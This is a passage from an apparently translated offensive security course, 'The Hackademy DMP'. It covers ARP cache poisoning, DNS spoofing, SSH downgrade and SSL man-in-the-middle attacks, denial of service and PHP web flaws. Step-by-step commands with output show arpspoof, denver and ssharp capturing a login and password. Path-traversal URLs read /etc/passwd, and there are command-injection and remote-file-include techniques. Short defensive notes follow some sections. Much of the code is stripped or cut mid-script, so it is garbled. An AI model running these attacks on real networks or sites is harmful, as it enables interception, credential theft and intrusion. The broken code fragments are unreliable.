a third machine (the hacker's machine), with the flows transiting on the network.<br />
On a LAN, packets destined to an IP address <strong>of</strong> the same network are not routed but sent directly to<br />
the communicating machine. So the packet will be encapsulated in an Ethernet packet (layer 2 <strong>of</strong> the<br />
OSI model) whose destination MAC address will be that <strong>of</strong> the machine associated to the IP address<br />
that we want to attach. To know what the MAC address associated to an IP is, the kernel will consult<br />
its ARP cache which associates internal network IPs and MACs. You can consult your cache with the<br />
arp -a command:<br />
arp -a<br />
Dantes (192.168.124.20) at 00:50:22:80:B3:34 [ether]<br />
? (192.168.124.1) at 00:09:5B:44:AA:E4 [ether]<br />
These entries in the cache are not permanent. When booted, the system is empty. It is when a packet<br />
is first sent to an IP that is not associated to any MAC that will be resolved the physical address <strong>of</strong> the<br />
host we wish to reach. What's more, these entries disappear after a certain timeout. The protocol that<br />
can associate IP and MAC is ARP (Address Resolution <strong>Pro</strong>tocol).<br />
A) ARP Cache Poisoning<br />
Machine A wishes to reach machine B, but no entry corresponding to B is found. A sends an ARP<br />
Request in broadcast on the network asking what is the MAC address <strong>of</strong> machine B. Machine B<br />
receives this packet and answers. At the same time, B will have noted A's MAC to associate to A's IP<br />
in its ARP cache. B sends an ARP response to A, in order to fill its ARP cache by associating IP A and<br />
MAC A.<br />
ARP Request sent by A:<br />
MAC SRC IP SRC MAC DST IP DST<br />
MAC A IP A FF:FF:FF:FF:FF:FF IP B<br />
ARP response sent by B to A:<br />
MAC SRC IP SRC MAC DST IP DST<br />
MAC B IP B MAC A IP A<br />
With the help <strong>of</strong> tcpdump, we can sniff the transiting ARP Requests:<br />
tcpdump arp<br />
tcpdump: listening<br />
15:57:28.027387 arp who-has Dantes tell 192.168.124.12<br />
15:57:28.028122 arp reply Dantes is-at 0:50:22:80:b3:34<br />
The <strong>Hack</strong>ademy DMP -89/209- SYSDREAM
The ARP protocol has never been conceived for security and this will allow us to hijack the existing<br />
connections between two machines <strong>of</strong> the same LAN. Two security problems can appear:<br />
• This protocol does not keep the states, meaning that a machine receiving an ARP response will<br />
accept it and update its cache, even if it has not sent a previous ARP request.<br />
• A machine receiving an ARP request automatically updates its cache to re-associate the IP and<br />
the MAC <strong>of</strong> the sender.<br />
It is therefore possible to forge ARP requests or responses to or from a machine in order to corrupt its<br />
cache by associating a network IP to the MAC <strong>of</strong> a hacker's machine. So when a machine B sends a<br />
packet to A's IP, it will be encapsulated in an Ethernet packet whose physical destination will be that <strong>of</strong><br />
the hacker. By proceeding in this manner, it can also hijack the flow from B to A.<br />
This type <strong>of</strong> operation can be done manually on Linux:<br />
First <strong>of</strong> all, we must deactivate the routing on machine C:<br />
echo 1 > /proc/sys/net/ipv4/ip_forward<br />
We are then going to to send two ARP responses, one towards A and the other one towards B:<br />
The prerequisite data is:<br />
Machine IP MAC<br />
A 192.168.124.1 00:09:5B:44:AA:E4<br />
B 192.168.124.20 00:50:22:80:B3:34<br />
C 192.168.124.12 00:90:4B:77:CC:D1<br />
We are going to forge packets with the help <strong>of</strong> the ARPSpo<strong>of</strong> tool (on both Linux and Windows):<br />
The options to pass are:<br />
-i : Interface<br />
-t : Optional, if all you want is to hijack the connection between a particular target and a host.<br />
host: host towards which all connections must be hijacked. If the -t option is not used, then all the<br />
connections <strong>of</strong> all the network's machines to this host will be hijacked:<br />
Laptop:/home/xdream# arpspo<strong>of</strong> 192.168.124.1<br />
0:90:4b:77:cc:d1 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.124.1 is-at 0:90:4b:77:cc:d1<br />
0:90:4b:77:cc:d1 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.124.1 is-at 0:90:4b:77:cc:d1<br />
0:90:4b:77:cc:d1 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.124.1 is-at 0:90:4b:77:cc:d1<br />
0:90:4b:77:cc:d1 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.124.1 is-at 0:90:4b:77:cc:d1<br />
0:90:4b:77:cc:d1 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.124.1 is-at 0:90:4b:77:cc:d1<br />
0:90:4b:77:cc:d1 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.124.1 is-at 0:90:4b:77:cc:d1<br />
0:90:4b:77:cc:d1 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.124.1 is-at 0:90:4b:77:cc:d1<br />
0:90:4b:77:cc:d1 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.124.1 is-at 0:90:4b:77:cc:d1<br />
0:90:4b:77:cc:d1 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.124.1 is-at 0:90:4b:77:cc:d1<br />
The <strong>Hack</strong>ademy DMP -90/209- SYSDREAM
Let us now display the contents <strong>of</strong> machine B's ARP cache:<br />
Dantes:~# arp -a<br />
arp -a<br />
? (192.168.124.1) at 00:90:4B:77:CC:D1 [ether] on eth0<br />
? (192.168.124.12) at 00:90:4B:77:CC:D1 [ether] on eth0<br />
? (192.168.124.15) at 00:50:BA:5D:35:6C [ether] on eth0<br />
? (192.168.124.10) at 00:50:8D:F9:E2:5E [ether] on eth0<br />
We can see that machine A's address is associated to the hacker machine's MAC address. If we trace<br />
the path taken by a packet from machine B to machine A, we notice that it also passes through<br />
machine C:<br />
Dantes:~# traceroute 192.168.124.1<br />
traceroute 192.168.124.1<br />
traceroute to 192.168.124.1 (192.168.124.1), 30 hops max, 38 byte packets<br />
1 192.168.124.12 (192.168.124.12) 1.093 ms 36.272 ms 1.863 ms<br />
2 192.168.124.1 (192.168.124.1) 3.006 ms 2.242 ms 2.730 ms<br />
Another tool on both Linux and Windows can manage the whole hijacking in a more automatic way:<br />
ettercap. The version used will be the 0.6.0 one, which you will find at:<br />
http://prdownloads.sourceforge.net/ettercap/ettercap-0.6.b.tar.gz?download<br />
You can display a help panel with the h command.<br />
Select two IPs between which you want to hijack the traffic. You will then be able to sniff the<br />
connections.<br />
The <strong>Hack</strong>ademy DMP -91/209- SYSDREAM
You can then hijack all traffic between these two machines (s command). All established connections<br />
can then be sniffed: select one, then press Enter.<br />
Finally, it is possible to inject commands into an existing canal. Select the canal in question, you will<br />
have two windows, one for the client, the other one for the server. With the help <strong>of</strong> , choose the<br />
window where you wish to inject a command to be executed (it should be the server's) and start the<br />
injection window with the i key. Of course, the command you inject will be sent as such. This means<br />
that you must respect the associated protocol format. If it were for example an FTP protocol and you<br />
wanted to create a directory, the command to send would be MKD dir.<br />
The <strong>Hack</strong>ademy DMP -92/209- SYSDREAM
B) DNS hijacking<br />
The DNS protocol is destined to resolve a host name, for example www.thehackademy.net into an IP<br />
address, in order to establish a direct communication with the server in question. The DNS protocol's<br />
format is as follows:<br />
The standard host name resolution procedure is the following one:<br />
1) The client sends a DNS request to the name server in order to resolve the name www.serv.com<br />
into its IP address.<br />
2) The DNS server quizzes the serv.com domain DNS in order to determine the IP <strong>of</strong> machine www.<br />
3) The DNS server sends back the IP address associated to www.serv.com to the client through a<br />
DNS answer.<br />
The principle <strong>of</strong> DNS hijacking will therefore be to hijack a DNS response to replace the server IP to<br />
which the victim wishes to connect with the hacker's. He will then be able to freely emulate a site to<br />
recover information (access codes, ...) or simply forward the connection to the server so as to spy on<br />
the communication.<br />
We are going to use the Denver tool (on Linux) to redirect a connection request towards<br />
www.google.com to the www.thehackademy.net website in a way that is transparent for the user. The<br />
options to send are:<br />
-g : Gateway IP.<br />
-h : IP <strong>of</strong> the host to be hijacked.<br />
-d : Domain to be spo<strong>of</strong>ed.<br />
-p : IP to which the connection must be hijacked.<br />
The <strong>Hack</strong>ademy DMP -93/209- SYSDREAM
Laptop:/# denver -s -i wlan0 -g 192.168.124.1 -h 192.168.124.12 -d www.google.com -p<br />
213.30.164.104<br />
Starting denver 1.0 --- denver@ilionsecurity.ch<br />
Error: the host and the local interface ip's are the same.<br />
Laptop:/# denver -s -i wlan0 -g 192.168.124.1 -h 192.168.124.10 -d www.google.com -p<br />
213.30.164.104<br />
Starting denver 1.0 --- denver@ilionsecurity.ch<br />
Checking if host and gateway are up and running on the LAN ...<br />
Success.<br />
192.168.124.10 is beeing fooled.<br />
Waiting for DNS requests ...<br />
--------<br />
DNS request to 'www.google.com' spo<strong>of</strong>ed successfully<br />
<strong>Security</strong><br />
As the ARP protocol is used to update tables, the best way to avoid this type <strong>of</strong> attack is to<br />
manually fill the ARP cache <strong>of</strong> each machine. For this, we will use the arp program, which will<br />
enable us to carry out this operation by associating each IP present on the network to its real<br />
physical address:<br />
arp -s x.x.x.x y-y-y-y-y-y<br />
6.Attacking secure protocols<br />
A) SSH<br />
SSH can establish a secure communication in command shell mode. There are today two versions <strong>of</strong><br />
the SSH protocol, ssh1 and ssh2. The whole communication as well as the login/password are<br />
exchanged in an encrypted manner on the network. The establishment <strong>of</strong> the secure communication<br />
follows the following process:<br />
1) Connection request from the client.<br />
2) Server sends banner.<br />
3) Server sends public key.<br />
4) A symmetric key generated by the client is encrypted with the public key provided by the server.<br />
5) Symmetric key is sent to server<br />
6) Communication is established.<br />
Hijacking an SSH session is comparable to hijacking an SSL one. The pirate places himself between<br />
the client and the server and emulates an SSH server to which the client will be re-directed in order to<br />
identify himself. In turn, the hacker establishes a communication with the final SSH server thanks to<br />
the login and password obtained from the client. If ssh1 is vulnerable to this type <strong>of</strong> attack, ssh2 is<br />
supposed to be protected from it.<br />
The <strong>Hack</strong>ademy DMP -94/209- SYSDREAM
ssh2 protection<br />
The server's public key is stored in the known_host on the client side. If during the connection the key<br />
sent back is not the one indicated in the file, which will necessarily be the case, the ssh client refuses<br />
to establish a communication, by sending back this type <strong>of</strong> message:<br />
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@<br />
@<br />
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!<br />
@<br />
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@<br />
@<br />
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!<br />
Someone could be eavesdropping on you right now (man-in-the-middle attack)!<br />
It is also possible that the RSA1 host key has just been changed.<br />
The fingerprint for the RSA1 key sent by the remote host is<br />
f3:cd:d9:fa:c4:c8:b2:3b:68:c5:38:4e:d4:b1:42:4f.<br />
Please contact your system administrator.<br />
However, it is the server who gives the client the ssh (1 or 2) protocol version which will be used<br />
through the presentation banner it sends back:<br />
SSH-1.99-OpenSSH_2.2.0p1<br />
So it is possible to force the client to use another version <strong>of</strong> the protocol than the one he usually uses.<br />
The public key used in the ssh2 protocol is different from the one used with ssh1, even if it is the same<br />
server. As the key used in the version <strong>of</strong> protocol 1 is not the same as the one in the known_host file,<br />
the client will ask if he must add it. If the user answers yes, a secure communication will be<br />
established through the hacker's machine, and in a way that is transparent for the victim.<br />
On Linux, the ssharp tool associated to the mss tool can carry out this attack:<br />
You will find these two tools on thehackademy.net website.<br />
Let us first compile mss:<br />
tar xzvf mss-0.3.tgz<br />
cd mss<br />
make all<br />
make install<br />
We can then compile ssharp:<br />
tar xzvf 7350ssharp.tgz<br />
cd ssharp<br />
./configure<br />
make<br />
make install<br />
cp ssh /usr/local/bin/ssharpclient<br />
Be careful, ssharp is a modified version sshd which is a real diamond, which will replace your previous<br />
version <strong>of</strong> openssh, if you have one.<br />
The <strong>Hack</strong>ademy DMP -95/209- SYSDREAM
Carrying out the attack<br />
First, have the modified sshd diamond listen to port 10000:<br />
./sshd -4 -p 10000<br />
We will then hijack the connections:<br />
Let us activate the routing:<br />
echo 1 > /proc/sys/net/ipv4/ip_forward<br />
We then request that all connections directed to port 22 be rerouted to local port 10000:<br />
iptables -t nat -A PREROUTING -p tcp --sport 1000:65000 --dport 22 -j REDIRECT –to-port 10000 -i eth0<br />
Finally we hijack the communications with a standard arp poisoning type attack for all communications<br />
with the target server:<br />
arpspo<strong>of</strong> -i eth0 192.168.124.20<br />
When the client establishes a connection, he will receive a message <strong>of</strong> this type:<br />
Laptop:/home/xdream# ssh Dantes<br />
The authenticity <strong>of</strong> host 'dantes (192.168.124.20)' can't be established.<br />
RSA key fingerprint is d8:84:7a:96:36:15:2e:40:3e:7f:6e:e8:12:23:74:97.<br />
Are you sure you want to continue connecting (yes/no)? yes<br />
If the client answers yes, he will be able to connect, and a temporary file will be created on the<br />
hacker's machine, <strong>of</strong> the ssharp-IPSERVER.PID type. You can then use the mss-client binary on this<br />
file to spy on the communication:<br />
mss-client /tmp/ssharp-192.168.124.20.11234<br />
What's more, the captured logins and passwords are stored in the /tmp/ssharp file:<br />
Laptop:/home/xdream# cat /tmp/ssharp<br />
192.168.124.20:22 [xdream:password]<br />
<strong>Security</strong><br />
The best protection against this type <strong>of</strong> attack is to use the ssh2 protocol with the client, even if<br />
the server requests the use <strong>of</strong> ssh1. You can at the same time give the -2 option to the client:<br />
ssh -2 192.168.124.20<br />
The <strong>Hack</strong>ademy DMP -96/209- SYSDREAM
B) SSL<br />
The SSL protocol functions with the sending <strong>of</strong> a public key certificate, which will be used to encrypt<br />
the communication in a secure canal, following the same methodology as SSH. The attack is therefore<br />
in theory quite similar. The pirate will emulate on a relay machine, through which the victim passes, an<br />
SSL server, who de-encrypts and re-encrypts the communication to forward it to the final server. The<br />
Ettercap utility, that we have already studied, knows how to implement this type <strong>of</strong> attack without any<br />
particular option.<br />
Another method is to force the user to pass through a proxy server that also implements an SSL<br />
server (SSL<strong>Pro</strong>xy : http://www.obdev.at/products/ssl-proxy/). For conventional HTTP requests we will<br />
use Achilles on Windows.<br />
This utility is a proxy HTTP server, which can log the communications it transits, and which can modify<br />
the contents <strong>of</strong> requests or <strong>of</strong> answers destined to the client or the web server. Simply specify a port<br />
that will be listened to and activate the options: Intercept mode ON, Intercept Client Data, Intercept<br />
Server Data and ignore .jpg/.gif.<br />
In the main window, you can modify the contents <strong>of</strong> the requests or <strong>of</strong> the web pages sent. Be careful<br />
when you forward the communication between the two parties in this mode, as you will have to<br />
validate each request or page with the Send button.<br />
<strong>Security</strong><br />
SSL certificates are known sites that are generally referenced in databases automatically<br />
consulted by web navigators, in order to check that the certificate sent back is an authentic one.<br />
When it is a fake one, a warning is sent back.<br />
The <strong>Hack</strong>ademy DMP -97/209- SYSDREAM
Faced with this type <strong>of</strong> warning, you should not trust the server onto which you are connected,<br />
as you cannot be sure <strong>of</strong> the confidentiality <strong>of</strong> the communication.<br />
7.Denial <strong>of</strong> Services<br />
Denial <strong>of</strong> service attacks are critical ones in terms <strong>of</strong> company security as their aim is to make<br />
resources <strong>of</strong> a computer system unavailable.<br />
On a small scale, a denial <strong>of</strong> services attack can make a server application unavailable. On a medium<br />
scale, it does that to a machine. On a large scale, it can paralyse the whole network.<br />
We generally identify four types <strong>of</strong> denials <strong>of</strong> services:<br />
• SYN flooding;<br />
• exploitation <strong>of</strong> a bug;<br />
• smurfing/DDoS;<br />
• ARP cache poisoning.<br />
SYN flooding consists in sending a great number <strong>of</strong> connection requests to a server without ever<br />
validating or cancelling these requests. This way, buffering before the 'timeout' <strong>of</strong> a connection, a<br />
number <strong>of</strong> pending requests that is too high can saturate the memory <strong>of</strong> a service and prevent any<br />
legitimate connection later on.<br />
The exploitation <strong>of</strong> a bug or <strong>of</strong> a vulnerability can result in the dysfunctioning <strong>of</strong> certain server<br />
applications or even the operating system and make them unstable.<br />
Smurfing consists in passing as a machine (the victim) and sending ping requests that broadcast<br />
these packets to subnetworks. The machines <strong>of</strong> these subnetworks then respond to the machine<br />
which has never sent any data. When an attacker sends one request, the victim will receive dozens <strong>of</strong><br />
responses and be saturated.<br />
We should note that DDoS (Distributed Denial <strong>of</strong> Service) also consists in using several IT ressources<br />
against one single machine. It is a more generic term, and the attack is said to be « distributed ».<br />
The <strong>Hack</strong>ademy DMP -98/209- SYSDREAM
Recent viruses use the resources <strong>of</strong> infected machines to flood websites such as Micros<strong>of</strong>t's or SCO's<br />
with requests.<br />
On a local network, it is also possible to use ARP cache poisoning to make all the machines <strong>of</strong> the<br />
network unavailable for a few seconds.<br />
Démonstration <strong>of</strong> a DoS :<br />
We will use a fabrication kit <strong>of</strong> ARP and ARP-SK requests. This tool will allow us to fake ARP requests<br />
and we will use an interface in Perl whose aim is to correctly use ARP-SK in order to carry out a DoS<br />
type <strong>of</strong> attack.<br />
ARP-SK is available on both Windows and Linux. We will use it from a machine on Linux, which<br />
changes nothing to the principle <strong>of</strong> the attack. ARP-SK is available at http://www.arp-sk.org.<br />
Perl exploit is available at http://www.sysdream.com.<br />
From the attacking side, this is what the attack looks like:<br />
Once the tool launched, all the machines on the local network 192.168.1.x have updated their MAC<br />
addresses table for all the network's IPs, with the address specified by the attacker (here<br />
12:34:56:78:9a:bc). No machine can then communicate with any other machine. The attack will have<br />
taken 10 seconds.<br />
The <strong>Hack</strong>ademy DMP -99/209- SYSDREAM
CHAPTER IV<br />
WEB VULNERABILITIES<br />
The <strong>Hack</strong>ademy DMP -100/209- SYSDREAM
1.Site Mapping<br />
The first thing a hacker will do during an attack on a Web service will be to summarize the banners<br />
(see chapter I: Information Acquisition) as well as map the site to recover a maximum <strong>of</strong> indications on<br />
his target. Mapping a website can be done in several ways. Either the hacker will have found a<br />
loophole allowing him to list the contents <strong>of</strong> all the directories <strong>of</strong> the server, or he will use appropriate<br />
s<strong>of</strong>tware which will follow all page links from the index page <strong>of</strong> the website. This is not the end <strong>of</strong> the<br />
story, however.<br />
What will be <strong>of</strong> interest to the hacker will be the files and directories forgotten by the webmaster and<br />
not linked to a public page. Intellitamper is such a s<strong>of</strong>tware that can recover the list <strong>of</strong> all files present<br />
on the server and to use brute force on the file or directory names to find their existence. Intellitamper<br />
functions on Windows, so we will also see the example <strong>of</strong> a PHP script attacking through a dictionary.<br />
Intellitamper<br />
Intellitamper is a s<strong>of</strong>tware with a very simple interface which will enable us to map the website without<br />
downloading the files (unlike Web aspirators). By default, it functions by following the links present on<br />
each page from the site index. To start the s<strong>of</strong>tware, all that has to be done is to give it the url <strong>of</strong> the<br />
site that is to be scanned and to click on the small button in the shape <strong>of</strong> a magnifying glass. In the<br />
example above, “http://www.thehackademy.net” is our target. By launching options by default,<br />
Intellitamper will not use brute force to find all the directories (or files) not linked to the pages.<br />
The <strong>Hack</strong>ademy DMP -101/209- SYSDREAM
In the options, one can ask Intellitamper to carry<br />
out a scan using brute force. The first thing to<br />
give to it is the dictionary to be used to find files<br />
or directories that are not linked<br />
(DictionaryClassic.txt)<br />
Then, the option “Perform dictionary scan” must be selected in the “Files and folders” tab to activate<br />
brute force.<br />
All that remains to be done is to click on “OK” to close the options window and relaunch Intellitamper.<br />
The <strong>Hack</strong>ademy DMP -102/209- SYSDREAM
Scan_web.php<br />
Scan_web.php is a PHP script that can look for directories or files on a web server by using a<br />
dictionary file. Here is the source code <strong>of</strong> the script:<br />
}<br />
fclose($fp);<br />
}<br />
}<br />
else{<br />
print "Scanner Web by CrashFr";<br />
print "";<br />
print "Host :";<br />
print "Port :";<br />
print "Timeout :";<br />
print "SSL ? ";<br />
print "Sous rep :";<br />
print "";<br />
print "
The phpinfo() function gives the hacker very important information such as the version and type <strong>of</strong> OS,<br />
HTTP, PHP and many others we will not mention in this chapter. It is therefore strongly recommended<br />
to delete all temporary files, test files, etc., to avoid making the hacker's task any easier and especially<br />
to remember that a directory or a file that is not linked from a page <strong>of</strong> the site is a hidden or<br />
inaccessible one...<br />
The <strong>Hack</strong>ademy DMP -105/209- SYSDREAM
2.PHP Vulnerabilities<br />
In some cases, the hacker can use vulnerable PHP scripts to execute commands, display the file<br />
sources, list the contents <strong>of</strong> directories or upload files on a server in order to finally take total control <strong>of</strong><br />
or steal the contents <strong>of</strong> a database. There are several vulnerabilities at the PHP level; those coming<br />
from the PHP source code and those due to improper website development by the webmaster.<br />
For a start, here are several examples <strong>of</strong> vulnerabilities coming from the PHP source code which we<br />
will not attempt to detail in order not to lose time on details where a good knowledge <strong>of</strong> applicative<br />
vulnerabilities is needed:<br />
http://www.securityfocus.com/archive/1/368864<br />
http://www.securityfocus.com/archive/1/368861<br />
So in this second part, I will explain what the various vulnerabilities are that a hacker could use if the<br />
website developer has not created its code in a secure way. As PHP is a dynamic language, it is very<br />
common to come across websites with forms that enable us, for example, to subscribe to a mailing list<br />
or send personal information about ourselves. We will therefore create a very simple form in HTML<br />
with two fields (“login” and “pass”) that could be used on any site to identify a user. This HTML script<br />
will send 2 variables to the ident.php script with the post method, as soon as the user will click on the<br />
validate button.<br />
<br />
<br />
<br />
<br />
<br />
login : <br />
password : <br />
<br />
<br />
<br />
<br />
The “ident.php” file contains the PHP code that will verify if you have typed in the proper login and<br />
password. Here is what the identification source code could look like (if register_globals=on in<br />
php.ini) :<br />
ack to an error message */<br />
if ($ok == 1)<br />
print "You are identified";<br />
else<br />
print "You are not identified";<br />
?><br />
In this first script it would be easy for the hacker to bypass the protection without knowing the correct<br />
password if he can guess the name <strong>of</strong> the “$ok” variable or if the script is in Opensource and he has<br />
access to the source code. PHP actually enables the user (visitor) to create and define variables<br />
directly from its navigator by using the GET method (via the url), POST (via a form) or COOKIE (by<br />
forging a cookie). When you click on the button “validate” <strong>of</strong> the form, your navigator sends the “login”<br />
and “pass” variables to the HTTP packet destined to the server by using the POST method. However<br />
this does not mean that the script does not interpret the variables sent with the GET method directly<br />
after the URL that follows the question mark.<br />
Let us take an example:<br />
I use crashfr as a login and test as a password and I click on the “submit” button <strong>of</strong> my form. It is<br />
exactly the same thing (if register_globals=on) as if I typed directly into my navigator:<br />
http://www.myserver/ident.php?login=crashfr&pass=test.<br />
If ever the hacker forces the $ok variable from the URL by putting it at 1, he would be identified without<br />
knowing the password.<br />
We can see that this type <strong>of</strong> vulnerability, like most PHP vulnerabilities, comes from bad coding<br />
because the webmaster should have initialized the “$ok” variable at 0. But we can also see that the<br />
variables used in PHP script can be forced directly from the URL is “register_globals” is activated. But<br />
to what exactly does “register_globals” correspond? Actually, the “register_globals” option can make<br />
the developer's task easier. The php differentiates the variables GET, POST, Cookie, Environment<br />
and the variables defined in the script stored in independent tables. For example, if we want to recover<br />
the”$var1” variable sent in POST, we would have to use the variable “$HTTP_POST_VARS['var1']” in<br />
the case where “register_globals” is <strong>of</strong>f. In the opposite case (if register_globals=On), we can directly<br />
use the variable “$var1”. But what happens if we receive “$var1” in both POST and GET at the same<br />
time but with a different value? In fact, there is an option in php.ini which indicates in which order the<br />
variables are interpreted. This option is called “variables_order” and its value by default is “EGPCS”,<br />
The <strong>Hack</strong>ademy DMP -107/209- SYSDREAM
which means that the order by default is Env, GET, POST, Cookie, Built-in variables. So if ever<br />
someone sends at the same time “$var1=get” using the GET method and “$var1=post” using the<br />
POST method, the script displaying “$var1” will send back “get”.<br />
Fopen() Function<br />
The Fopen function is one that can open a file that is on the server. This function is for the case where<br />
the variable used to define which file to open can be forced by the user and is not filtered correctly by<br />
the script, becomes a very powerful information tool for the hacker.<br />
<br />
$fp=fopen($file, "r");<br />
while(!fe<strong>of</strong>($fp)){<br />
$line=fgets($fp,1024);<br />
print $line;<br />
}<br />
fclose($fp);<br />
This script (fop.php) opens a file for reading and displays the contents. By forcing the variable$file<br />
from the URL we can thus open some (normally) non-accessible files from the HTTP interface.<br />
http://myserver/fop.php?file=../../../../../etc/passwd // displays the passwd file<br />
http://myserver/fop.php?file=../../../../../etc/apache/httpd.conf // displays apache's configuration file<br />
.<br />
There is another function that enables you to read the contents <strong>of</strong> a file that a hacker could exploit in<br />
the same way as with a fopen(): the function “file()” which loads the whole contents <strong>of</strong> a file into a<br />
table.<br />
To avoid this kind <strong>of</strong> vulnerabilities, all that has to be done is to force the opening <strong>of</strong> a file in a specific<br />
directory and to check that the user is not trying to return to the root, as below:<br />
System() Function<br />
The System() function is one <strong>of</strong> the functions that can call the system commands. These commands<br />
will depend on the OS. For example, if the webmaster wants to allow the visitor to do a ping from a<br />
webpage, here is the script he could use on Unix:<br />
<br />
Here is the result <strong>of</strong> a ping on a localhost, for example:<br />
The problem with this type <strong>of</strong> script is that the user can use the escape shells to have other commands<br />
executed (see the Applicative chapter). Here is an example which would allow an “ls” command to<br />
display the contents <strong>of</strong> the directory /etc:<br />
The <strong>Hack</strong>ademy DMP -109/209- SYSDREAM
Here are the other functions that can execute system commands:<br />
exec(), shell_exec(), popen(), proc_open(), passthru()<br />
<strong>Security</strong><br />
To avoid this type <strong>of</strong> vulnerability, there are several functions to escape the characters that can<br />
make escape shells such as “escapeshellcmd(). It is also possible to use regular expressions to<br />
filter what is sent by the user. Here is the line to modify to prevent the hacker from executing<br />
commands other than ping/<br />
system(escapeshellcmd('ping -c 5 '.$host));<br />
The <strong>Hack</strong>ademy DMP -110/209- SYSDREAM
Uploading via PHP<br />
Quite <strong>of</strong>ten, one can come across scripts that can upload files on a server via a PHP script. Here is an<br />
example <strong>of</strong> a form that could be found on the Net:<br />
<br />
echo "File Upload !!";<br />
exit;<br />
<br />
<br />
Upload file<br />
<br />
<br />
Here is the result that for example enables one to recover the connection login/password to the Mysql<br />
database:<br />
<strong>Security</strong><br />
To avoid this kind <strong>of</strong> attack, we can use the PHP function which will check that the file has been<br />
uploaded using the POST method, as this prevents files on your server from being copied. Here<br />
is the code using the function “move_uploaded_file()” enabling us to make our script is secure:<br />
<br />
Include() Function<br />
There are several functions that have to be used carefully when coding in PHP. Let us start with the<br />
include() function, which is very <strong>of</strong>ten used by the hacker to have malicious code executed by the<br />
HTTP server. The include() function can include another file's PHP code into a main PHP script.<br />
The <strong>Hack</strong>ademy DMP -112/209- SYSDREAM
inc.php file page1.php file<br />
<br />
<br />
By typing http://myserver/inc.php?page=page1.php, our navigator displays yopyop. This is perfectly<br />
normal. The hacker is also going to define the variable $page in such a way that the server will<br />
execute its malicious php code. Let us imagine that the hacker has uploaded the malicious code on<br />
another server:<br />
All he has to do now is to type: http://myserver/inc.php?page=http://serveur2/codemal.php so that<br />
“myserver” can execute the malicious code present on server2. To avoid this kind <strong>of</strong> vulnerability, there<br />
are several PHP functions. The first one is “file_exists()”: this function can check if the file exists locally<br />
on the local server. In the example above, the hacker could not include an external file if the inc.php<br />
file were modified as below:<br />
<br />
However, the hacker could bypass this protection by temporarily uploading a file on the server.<br />
Uploading towards a PHP is a very special procedure. If a file is sent through a form towards a PHP<br />
script, before the script is interpreted, a temporary saving <strong>of</strong> our file is done on the server. Even if the<br />
file is refused by the script, it is still uploaded in a temporary directory on the the server!<br />
(Generally /tmp).<br />
To illustrate this example, we are going to create an upload HTML script (.html form) locally, as below:<br />
<br />
<br />
<br />
<br />
<br />
<br />
Upload this file: <br />
<br />
<br />
<br />
<br />
The <strong>Hack</strong>ademy DMP -113/209- SYSDREAM
The script below will associate our uploaded file to the variable “$page”. This is what our form looks<br />
like in local:<br />
Now a malicious script has to be created (malicious.php) that we are going to upload thanks to the<br />
form.<br />
<br />
All that has to be done now is to click on browse (form.html), choose the file to send (malicious.php)<br />
and watch the result:<br />
The target server has executed our malicious code. This proves that the server has created a<br />
temporary file affected to the variable $page because the PHP function file_exists() has detected the<br />
file on the server. In the opposite case the inc.php script would not have included our malicious script...<br />
<strong>Security</strong><br />
To avoid this kind <strong>of</strong> vulnerability, you should add a small verification at the level <strong>of</strong> the file<br />
which uses the include function as below:<br />
<br />
We have also added a small verification to prevent the script from running over and over<br />
again if the hacker defines “$page=inc”.<br />
The <strong>Hack</strong>ademy DMP -114/209- SYSDREAM
There are other functions <strong>of</strong> the same type that can carry out includes, such as:<br />
include_once(), require(), require_once()<br />
3.CGI Vulnerabilities<br />
CGI means Common Gateway Interface, and these interfaces are applicative ones, hosted on the web<br />
server, and whose function is to receive and process data sent by the client's navigator, and to send<br />
back the results in HTML format. In this way, and like PHP, CGIs are used to establish dynamic web<br />
pages on a web server. In a way, there are similarities with this language, but also major differences.<br />
First <strong>of</strong> all, they can be written using any language: C, perl, script, shell... The important thing is to<br />
understand that the information sent back by the navigator will be processed according to a standard<br />
and with the help <strong>of</strong> environment variables defined by the web server. We are going to explain this in<br />
detail:<br />
First, the information is sent to the server through pre-defined variables in the form, and understood by<br />
the CGI program. In this, the principle is exactly the same as for PHP, meaning that we use a form tag<br />
REMOTE_HOST: Client's host name<br />
CONTENT_TYPE: Type <strong>of</strong> information transferred<br />
CONTENT_LENGHT: Number <strong>of</strong> bytes <strong>of</strong> data sent to the CGI by the client<br />
QUERY_STRING: Saves the data sent by the client if the transfer method is METHOD=GET. If it is<br />
METHOD=POST that is used, data will be read on the standard output.<br />
The difference with PHP lies above all in the way CGI processes the received data. PHP can<br />
recognize and directly use the name <strong>of</strong> variables defined in the form, something that the CGI program<br />
cannot do. The latter will have to recover everything that is after ? In the form <strong>of</strong> a character chain to<br />
process it, and so obtain the value <strong>of</strong> the variables that are sent to it through the form. CGI has to<br />
process arguments in this way because using a form always sends back data in the shape <strong>of</strong><br />
variable1=value1&variable2=value2... It can therefore be concluded that it would be entirely possible to<br />
pass the arguments to the program in a different form, by specifying them in the url after the ?, and<br />
naturally only if the program were coded in such way that it could process this information.<br />
Here is an example <strong>of</strong> code that will recover the information sent back by the client through a form:<br />
char buffer[50];<br />
buffer = getenv("REQUEST_METHOD"); // We recover the method used in the environment<br />
variable REQUEST_METHOD<br />
if (buffer) { // if this operation is successful we continue<br />
if (strcmp(buffer, "POST") == 0) { // If the POST method is used<br />
buffer = getenv("CONTENT_LENGHT"); // we recover the size <strong>of</strong> data sent back by the form<br />
if(buffer) { // If this operation is successful we continue<br />
length = atoi(buffer); // We put this value in digital form<br />
data = malloc(buffer + 1); // we attribute memory space for the data variable which will<br />
recover data<br />
fread(data, 1, length, stdin); // we copy what arrives on the standard output into buffer<br />
data[length] = '\0'; // we add the '\0' character at the end <strong>of</strong> the character chain<br />
contained in buffer<br />
}<br />
}<br />
